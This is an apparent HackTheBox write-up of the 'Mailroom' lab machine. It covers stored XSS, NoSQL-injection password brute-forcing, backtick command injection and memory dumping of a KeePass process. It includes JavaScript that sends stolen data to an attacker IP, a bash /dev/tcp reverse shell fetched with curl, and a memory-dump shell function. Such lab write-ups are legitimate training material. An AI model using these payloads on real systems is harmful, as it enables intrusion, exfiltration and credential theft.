9 minutes
HackTheBox :: Mailroom
Creator: wyzn
Machine URL: https://app.hackthebox.com/machines/Mailroom
Difficulty: Hard
Initial enumeration
We start with an nmap
scan:
┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom]
└─$ sudo nmap -p- 10.129.59.138 -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 94bb2ffcaeb9b182afd789811aa76ce5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBsIk5aL2paRLxMWRinGX8YNkoR0QoWuLBzpzq+IZIwWJ8H/ZW2sybQ7xCOaoe37vmNMwFWoZ/2z68JP5eG2n0ucrGkiNXY0ZHzXWvU7BYF2BKxCtCuGLV8vVR/voIkIRPRxgMkxQ8UU0k3sGNkB0sOlsDKWJFIpgruIT3wApfaXp6WYfBHuLee7mHWcLWZfsjnBbYnc2jWRm4z9YTK3USwnsX4f8ki7eC3DYq8RB5Kx7U6u/5aiC0Z50gbuTR5YJPPFt7rawTrPPwT31sS3/Q4kCDfhFWOrcV1wIy2xrEAUG+RtbS84D2RotizXIEphaqueK6Tl8LNZvB2VbL72xqMfSqplCXS3rO9fs2Ie/Q47m9BVNNjwShnwAnGa8kJLXJb+x/qBE2aagzn599dVre9khFU8LWiptr6lw9ksEfPw8f1+XEBXjc2ECWkdap9KOx7QRTIEVzVJ8MRHn/Bp/EQ9Uz+whe6K5U6Egle7JHtd8qUPPUitVX+QyFqBwdH50=
| 256 821beb758b9630cf946e7957d9ddeca7 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOZd951iwnVNWvSYmYx8ZJUf9o5yhI3zVuVAfNLLrTdhwnstMMOWcnMDyPgwfnbzDJ89BnmvHuC5k9kVJjIQJpM=
| 256 19fb45feb9e4275de5bbf35497dd68cf (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIImOwXljVycTwdL6fg/kkMWPDWdO+roydyEf8CeBYu7X
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.54 ((Debian))
|_http-title: The Mail Room
|_http-favicon: Unknown favicon MD5: 846CD0D87EB3766F77831902466D753F
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.54 (Debian)
Just two ports are open.
Investigating the Apache webserver
We are greeted by a webpage for Mailroom Inc. with a hostname in the footer: Made with ♥ for mailroom.htb
Added mailroom.htb
to the /etc/hosts
About page
The page has a list of employees. This will prove useful in the future.
Contact form
Another interesting page to catch our attention is the contact form – http://mailroom.htb/contact.php
We are able to submit our inquiry and get the link to check its status.
http://mailroom.htb/inquiries/f8a3622e9e344baabae2bd791bba8e0f.html
This will probably be a vector going forward. But we will continue poking around the webserver.
Finding git.mailroom.htb
Quick vhosts fuzz reveals another vhost – git.mailroom.htb
┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u "http://10.129.59.138" -H "Host: FUZZ.mailroom.htb" -mc all -fl 129
...
[Status: 200, Size: 13201, Words: 1009, Lines: 268, Duration: 45ms]
* FUZZ: git
...
Exploring Gitea
http://git.mailroom.htb/ runs Gitea.
It allows us to Explore without logging in.
Repos
Users
- http://git.mailroom.htb/administrator
- http://git.mailroom.htb/matthew
- http://git.mailroom.htb/tristan
staffroom
repo
The repository contains the source code for a web application.
In the auth.php source code we discover a reference to another subdomain:
$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;
After adding staff-review-panel.mailroom.htb
to /etc/hosts we discover that this subdomain is unreachable – we get the 403 Forbidden
.
Command Injection
Looking through the source of inspect.php we discover a potential Command Injection vulnerability:
if (isset($_POST['inquiry_id'])) {
$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
However, we can’t use it yet as we can’t reach http://staff-review-panel.mailroom.htb/inspect.php.
More info from the repo
// Parse the data between and </p>
$start = strpos($contents, '<p class="lead mb-0">');
if ($start === false) {
// Data not found
$data = 'Inquiry contents parsing failed';
} else {
$end = strpos($contents, '</p>', $start);
$data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));
}
This block of code tells us that for the inquiry to receive a status other than “Irrelevant” we must use <p class="lead mb-0">CONTENTS</p>
.
Quickly confirming this assumption on http://mailroom.htb/contact.php
This concludes the initial recon. It’s time to hunt for some vulnerabilities.
XSS – contact.php
As contact.php is our only way to interact with the web application we try a simple XSS payload:
POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 120
Content-Type: application/x-www-form-urlencoded
email=hi%40fluff.me&title=Test&message=<p class="lead mb-0"><script>document.location="http://10.10.14.84/"</script></p>
We immediately receive a request on our HTTP server:
┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.157.5 - - [16/Apr/2023 17:38:31] "GET / HTTP/1.1" 200 -
10.129.157.5 - - [16/Apr/2023 17:38:31] code 404, message File not found
10.129.157.5 - - [16/Apr/2023 17:38:31] "GET /favicon.ico HTTP/1.1" 404 -
We have a callback and someone visits the page and executes the basic XSS payload.
Serving our payloads
POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 120
Content-Type: application/x-www-form-urlencoded
email=hi%40fluff.me&title=Test&message=<p class="lead mb-0"><script src="http://10.10.14.84/xss.js"></script></p>
We can pass our payloads as xss.js hosted on our machine. All the JS payloads below are contents of xss.js.
Exploitation
Note: for some reason sometimes we need to resend the payload for the fetch to staff-review-panel.mailroom.htb to return results.
Probably, CORS.
If we have no callback, we just send the payload twice! I am usre there is a more elegant solution, but this works just fine.
Reaching staff-review-panel.mailroom.htb
function callhome(data){
fetch("http://10.10.14.84/"+encodeURI(data));
}
fetch("http://staff-review-panel.mailroom.htb")
.then(response => response.text())
.then(data => callhome(data));
"GET /%0A%3C!DOCTYPE%20html%3E%0A%3Chtml%20lang=%22en%22%3E%0A%0A%3Chead%3E%0A%20%20%3Cmeta%20charset=%22utf-8%22%20/%3E%0A%20%20%3Cmeta%20name=%22viewport%22%20content=%22width=device-width,%20initial-scale=1,%20shrink-to-fit=no%22%20/%3E%0A%20%20%3Cmeta%20name=%22description%22%20content=%22%22%20/%3E%0A%20%20%3Cmeta%20name=%22author%22%20content=%22%22%20/%3E%0A%20%20%3Ctitle%3EInquiry%20Review%20Panel%3C/title%3E%0A%20%20%3C!--%20Favicon--%3E%0A%20%20%3Clink%20rel=%22icon%22%20type=%22image/x-icon%22%20href=%22assets/favicon.ico%22%20/%3E%0A%20%20%3C!--%20Bootstrap%20icons--%3E%0A%20%20%3Clink%20href=%22font/bootstrap-icons.css%22%20rel=%22stylesheet%22%20/%3E%0A%20%20%3C!--%20Core%20theme%20CSS%20(includes%20Bootstrap)--%3E%0A%20%20%3Clink%20href=%22css/styles.css%22%20rel=%22stylesheet%22%20/%3E%0A%3C/head%3E%0A%0A%3Cbody%3E%0A%20%20%3Cdiv%20class=%22wrapper%20fadeInDown%22%3E%0A%20%20%20%20%3Cdiv%20id=%22formContent%22%3E%0A%0A%20%20%20%20%20%20%3C!--%20Login%20Form%20--%3E%0A%20%20%20%20%20%20%3Cform%20id='login-form'%20method=%22POST%22%3E%0A%20%20%20%20%20%20%20%20%3Ch2%3EPanel%20Login%3C/h2%3E%0A%20%20%20%20%20%20%20%20%3Cinput%20required%20type=%22text%22%20id=%22email%22%20class=%22fadeIn%20second%22%20name=%22email%22%20placeholder=%22Email%22%3E%0A%20%20%20%20%20%20%20%20%3Cinput%20required%20type=%22password%22%20id=%22password%22%20class=%22fadeIn%20third%22%20name=%22password%22%20placeholder=%22Password%22%3E%0A%20%20%20%20%20%20%20%20%3Cinput%20type=%22submit%22%20class=%22fadeIn%20fourth%22%20value=%22Log%20In%22%3E%0A%20%20%20%20%20%20%20%20%3Cp%20hidden%20id=%22message%22%20style=%22color:%20 HTTP/1.1"
We can reach staff-review-panel.mailroom.htb
via XSS and get the response back.
Unfortunately, we still need to log in to exploit the Command Injection that we have found in the inspect.php file.
Authenticating
After studying the source code of auth.php that governs authentication we discover a NoSQL Injection vulnerability:
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
...
// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {
// Verify the parameters are valid
if (!is_string($_POST['email']) || !is_string($_POST['password'])) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
}
// Check if the email and password are correct
$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);
The php code doesn’t exit or die on the invalid input so it is still possible to reach the code that follows the check.
NoSQL Injection – auth.php
Bypassing authentication with [$ne]
function callhome(data){
fetch("http://10.10.14.84/"+encodeURI(data));
}
fetch("http://staff-review-panel.mailroom.htb/auth.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "email[$ne]=a&password[$ne]=a"
})
.then(response => response.text())
.then(data => callhome(data));
"GET /%7B%22success%22:false,%22message%22:%22Invalid%20input%20detected%22%7D%7B%22success%22:true,%22message%22:%22Check%20your%20inbox%20for%20an%20email%20with%20your%202FA%20token%22%7D HTTP/1.1" 404 -
Check your inbox for an email with your 2FA token
– We succeed, but we still need a token. And it’s not injectable in the same manner due to proper checks:
// Check if the form has been submitted
else if (isset($_GET['token'])) {
// Verify Token parameter is valid
if (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {
header('HTTP/1.1 401 Unauthorized');
echo json_encode(['success' => false, 'message' => 'Invalid input detected']);
exit;
}
Let’s play more with the NoSQL injection instead.
Using [$regex]
to find a user
function callhome(data){
fetch("http://10.10.14.84/"+encodeURI(data));
}
fetch("http://staff-review-panel.mailroom.htb/auth.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "email[$regex]=^a&password[$ne]=a"
})
.then(response => response.text())
.then(data => callhome(data));
"GET /%7B%22success%22:false,%22message%22:%22Invalid%20input%20detected%22%7D%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20Cannot%20modify%20header%20information%20-%20headers%20already%20sent%20by%20(output%20started%20at%20/var/www/staffroom/auth.php:20)%20in%20%3Cb%3E/var/www/staffroom/auth.php%3C/b%3E%20on%20line%20%3Cb%3E51%3C/b%3E%3Cbr%20/%3E%0A%7B%22success%22:false,%22message%22:%22Invalid%20email%20or%20password%22%7D HTTP/1.1" 404 -
We have used email[$regex]=^a
as an email POST parameter and received an error. This tells us that the username doesn’t start with a
.
Using this method and list of the people on the team (http://mailroom.htb/about.php) we find the following:
function callhome(data){
fetch("http://10.10.14.84/"+encodeURI(data));
}
fetch("http://staff-review-panel.mailroom.htb/auth.php", {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "email[$regex]=^t&password[$ne]=a"
})
.then(response => response.text())
.then(data => callhome(data));
"GET /%7B%22success%22:false,%22message%22:%22Invalid%20input%20detected%22%7D%7B%22success%22:true,%22message%22:%22Check%20your%20inbox%20for%20an%20email%20with%20your%202FA%20token%22%7D HTTP/1.1" 404
Username starts with t
. There is a Tristan on the contact page.
...
body: "email[$regex]=^tristan&password[$ne]=a"
...
This payload works.
...
body: "email=tristan%40mailroom.htb&password[$ne]=a"
...
Also returns a succesful response. Now we know the username – [email protected]
Using [$regex]
to get tristan’s password
In the same manner we can enumerate the password.
Get Length
...
body: "email=tristan%40mailroom.htb&password[$regex]=^.{20}"
...
Doesn’t work, it’s less than 20.
...
body: "email=tristan%40mailroom.htb&password[$regex]=^.{10}"
...
Success. It’s more than 10 characters long. Eventually we arrive at the value of password length:
...
body: "email=tristan%40mailroom.htb&password[$regex]=^.{12}$"
...
It’s 12 characters long.
Get password character by character
In a similar way we can bruteforce the password value too:
function callhome(data){
fetch("http://10.10.14.84/"+encodeURI(data));
}
pw = '';
found = false;
const alphanumeric = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
const specialChars = '!@#$%^&*-_+=[]{}()|\\/;:\'",.?';
function trypw(character){
fetch("http://staff-review-panel.mailroom.htb/auth.php", {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `email=tristan%40mailroom.htb&password[$regex]=^${encodeURI(pw)}${character}`})
.then(response => response.text())
.then(data => {
if (data.includes("Check your")){
pw = pw + character;
callhome(pw);
found = true;
}})
}
dict = alphanumeric + specialChars;
for (let i = 0; i < dict.length; i++) {
char = dict[i];
if (specialChars.includes(char)){
char = '\\' + encodeURI(char);
}
else char = encodeURI(char);
trypw(char);
if (found){
break;
}
}
"GET /6 HTTP/1.1"
The first character out of 12 is 6
We can iterate in a loop until we have a full password but I found it more reliable to just send a payload character by character and change the pw
variable. Sometimes the payload needs to be sent several times to find a next character.
After 12 iterations we have a full password for [email protected]
– 69<READACTED>
This password for tirstan
is reused both on http://git.mailroom.htb and as the OS user password. We can SSH.
Foothold as tristan
Circling back to Command Injection in inspect.php
During initial enumeration we have found an unsafe shell_exec()
in inspect.php:
if (isset($_POST['inquiry_id'])) {
$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);
$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");
As tristan
we don’t need to use the XSS anymore and can use curl
.
Authenticate on staff-review-panel.mailroom.htb:
tristan@mailroom:~$ curl http://staff-review-panel.mailroom.htb/auth.php -X POST --data 'email=tristan%40mailroom.htb&password=69<READACTED>'
{"success":true,"message":"Check your inbox for an email with your 2FA token"}
Get 2fa code from /var/mail:
tristan@mailroom:~$ cat /var/mail/tristan | grep token
Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=f79c846be5107c29200129585e6bef90
Get session cookie:
tristan@mailroom:~$ curl -v http://staff-review-panel.mailroom.htb/auth.php?token=f79c846be5107c29200129585e6bef90
...
< Set-Cookie: PHPSESSID=6b382ccd25c6c4f954fde659a1748e1e; path=/
...
Now we can inject a command in inspect.php.
There is a bad character filter but the ` character is not included in it. We can inject a command with `command` in the inquiry_id
POST parameter.
┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom/exploit]
└─$ cat shell.sh
bash -i >& /dev/tcp/10.10.14.84/443 0>&1
tristan@mailroom:~$ curl http://staff-review-panel.mailroom.htb/inspect.php -H 'Cookie: PHPSESSID=6b382ccd25c6c4f954fde659a1748e1e' -X POST --data 'inquiry_id=`curl http://10.10.14.84/shell.sh -o /tmp/shell.sh`' -s -o /dev/null
tristan@mailroom:~$ curl http://staff-review-panel.mailroom.htb/inspect.php -H 'Cookie: PHPSESSID=6b382ccd25c6c4f954fde659a1748e1e' -X POST --data 'inquiry_id=`chmod +x /tmp/shell.sh`' -s -o /dev/null
tristan@mailroom:~$ curl http://staff-review-panel.mailroom.htb/inspect.php -H 'Cookie: PHPSESSID=6b382ccd25c6c4f954fde659a1748e1e' -X POST --data 'inquiry_id=`bash /tmp/shell.sh`' -s -o /dev/null
We catch a shell as www-data
and we are in a container.
Looting the container as www-data
This step is pretty simple. The web application has a .git folder that includes Gitea credentials for user matthew
in origin:
www-data@977bce27f35b:/var/www/staffroom$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://matthew:H<REDACTED>@gitea:3000/matthew/staffroom.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
[user]
email = [email protected]
This password is also reused. While we can’t SSH (requires a key) we can su matthew
from tristan
.
User flag and privilege escalation to root
We finally get to user.txt that is stored in matthew’s home directory.
We also find there personal.kdbx – a Keepass database.
Strangely enough there is a personal.kdbx.lock file alongside it which suggest that the database is being accessed.
We quickly confirm with pspy
that kpcli
runs every once in a while via systemd as user matthew
and accesses the database.
Let’s dump the memory of the process and harvest the cleartext master password from it.
kpcli
– Master password from Memory Dump
bash
function to dump memory:
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
)
Get PID of kpcli
:
matthew@mailroom:~/memdump$ ps -A | grep kpcli
37710 ? 00:00:00 kpcli
Dump the memory of the process:
matthew@mailroom:~/memdump$ procdump 37710
dd: /proc/37710/mem: cannot skip to specified offset
6+0 records in
6+0 records out
24576 bytes (25 kB, 24 KiB) copied, 0.000658574 s, 37.3 MB/s
...
Note: we have to be quick as the process doesn’t stay open for long. We may need several dumps too.
cat
the dumps together and transfer to the attacking machine (target has no strings
):
matthew@mailroom:~/memdump$ cat *.bin > memdump.bin
grep
for CLEAR:
┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom/exploit]
└─$ strings memdump.bin| grep 'CLEAR:'
(?^:^CLEAR:)
CLEAR:
CLEAR:
CLEAR:
CLEAR:!s<READACTED>
CLEAR:!s<READACTED>
We now have a master password for the personal.kdbx.
Credentials in personal.kdbx
┌──(fluff㉿kali)-[/opt/ctf/htb/mailroom/loot]
└─$ kpcli
KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.
kpcli:/> open personal.kdbx
Provide the master password: *************************
kpcli:/> ls
=== Groups ===
Root/
kpcli:/> cd Root
kpcli:/Root> ls
=== Entries ===
0. food account door.dash.local
1. GItea Admin account git.mailroom.htb
2. gitea database password
3. My Gitea Account git.mailroom.htb
4. root acc
kpcli:/Root> show -f 4
Title: root acc
Uname: root
Pass: a$<REDACTED>
URL:
Notes: root account for sysadmin jobs
su
with this password and get /root/root.txt.